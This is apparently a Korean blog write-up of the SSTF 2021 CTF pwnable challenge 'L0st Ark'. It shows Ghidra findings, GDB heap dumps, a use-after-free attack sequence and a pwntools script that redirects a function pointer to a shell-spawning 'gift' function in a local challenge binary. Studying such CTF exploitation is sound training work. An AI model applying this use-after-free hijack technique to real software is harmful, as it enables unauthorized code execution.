SSTF 2021 - L0st Ark

728x90

2021년 SSTF CTF 문제이다.

 

 

우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다

 

이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다.

이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다.

 

 

우선 Lupeon 다음 부분에 bp를 걸고 보자.

0x555555570ea0:	0x0000000000000000	0x0000000000000061
0x555555570eb0:	0x000055555555db68	0x0000555555570ec8
0x555555570ec0:	0x0000000000000006	0x00006e6f6570754c	# len("Lupeon")	"Lupeon"
0x555555570ed0:	0x0000000000000000	0x0000555555570ee8	
0x555555570ee0:	0x0000000000000007	0x006c616963657053	# len("special")	"special"
0x555555570ef0:	0x0000000000000000	0x0000555555557afe	# gift addr(7afe)
0x555555570f00:	0x0000000000000000	0x000000000000f101
0x555555570f10:	0x0000000000000000	0x0000000000000000
0x555555570f20:	0x0000000000000000	0x0000000000000000
0x555555570f30:	0x0000000000000000	0x0000000000000000

구조를 보면 다음과 같다.

 

그럼 Lupeon이 아닌 Reaper를 선택했을때의 메모리 구조를 보자

0x555555570ea0:	0x0000000000000000	0x0000000000000061
0x555555570eb0:	0x000055555555dbf8	0x0000555555570ec8
0x555555570ec0:	0x0000000000000008	0x4141414141414141	# name
0x555555570ed0:	0x0000000000000000	0x0000555555570ee8
0x555555570ee0:	0x0000000000000006	0x0000726570616552	# string
0x555555570ef0:	0x0000000000000000	0x0000000000000000
0x555555570f00:	0x0000000000000000	0x0000000000000021
0x555555570f10:	0x0000555555570eb0	0x0000000000000000
0x555555570f20:	0x0000000000000000	0x000000000000f0e1
0x555555570f30:	0x0000000000000000	0x0000000000000000

 

다음 메뉴에서 set skill을 한 후 상황이다.

0x555555570ea0:	0x0000000000000000	0x0000000000000061
0x555555570eb0:	0x000055555555dbf8	0x0000555555570ec8
0x555555570ec0:	0x0000000000000008	0x4141414141414141
0x555555570ed0:	0x0000000000000000	0x0000555555570ee8
0x555555570ee0:	0x0000000000000006	0x0000726570616552
0x555555570ef0:	0x0000000000000000	0x00005555555574f0	# skill addr
0x555555570f00:	0x0000000000000000	0x0000000000000021
0x555555570f10:	0x0000555555570eb0	0x0000000000000000
0x555555570f20:	0x0000000000000000	0x000000000000f0e1

 

그럼 저 skill addr 부분을 실행시키면 될것이다.

 

공격 벡터

1. create에서 7을 입력하여 히든 캐릭터(Lupeon)을 생성

2. destory에서 히든 캐릭터를 파괴(해제) -> UAF 버그 발생

3. create에서 1을 입력하여 reaper 캐릭터 생성

4. 메뉴에서 4를 선택하여 reaper 캐릭터를 선택

5. 6을 입력하여 reaper의 스킬을 실행(실제로는 gift를 실행함)

 

 

 

PAYLOAD

from pwn import *

p = process('./a.out')

def create(index, name):
    p.sendlineafter(b'pick: ', b'1')
    p.sendlineafter(b'pick: ', str(index))
    p.sendlineafter(b'name: ', name)

def hidden():
    p.sendlineafter(b'pick: ', b'1')
    p.sendlineafter(b'pick: ', b'7')

def delete(index):
    p.sendlineafter(b'pick: ', b'2')
    p.sendlineafter(b'pick: ', str(index))

def choose(index):
    p.sendlineafter(b'pick: ', b'4')
    p.sendlineafter(b'pick: ', str(index))

def useskill():
    p.sendlineafter(b'pick: ', b'6')

hidden()
delete(0)
create(1, b"A")
choose(0)
useskill()

p.interactive()
728x90

'Pwnable' 카테고리의 다른 글

ROPASAURUSREX  (0) 2021.10.17
값 입력하고 바로 종료될때 메모리 값 보는방법  (0) 2021.10.05
2016 Codegate watermelon  (0) 2021.07.25
Ropasaurusrex  (0) 2021.07.25
2018 아주대 사이버보안학과 ctf - babyuaf  (0) 2021.07.25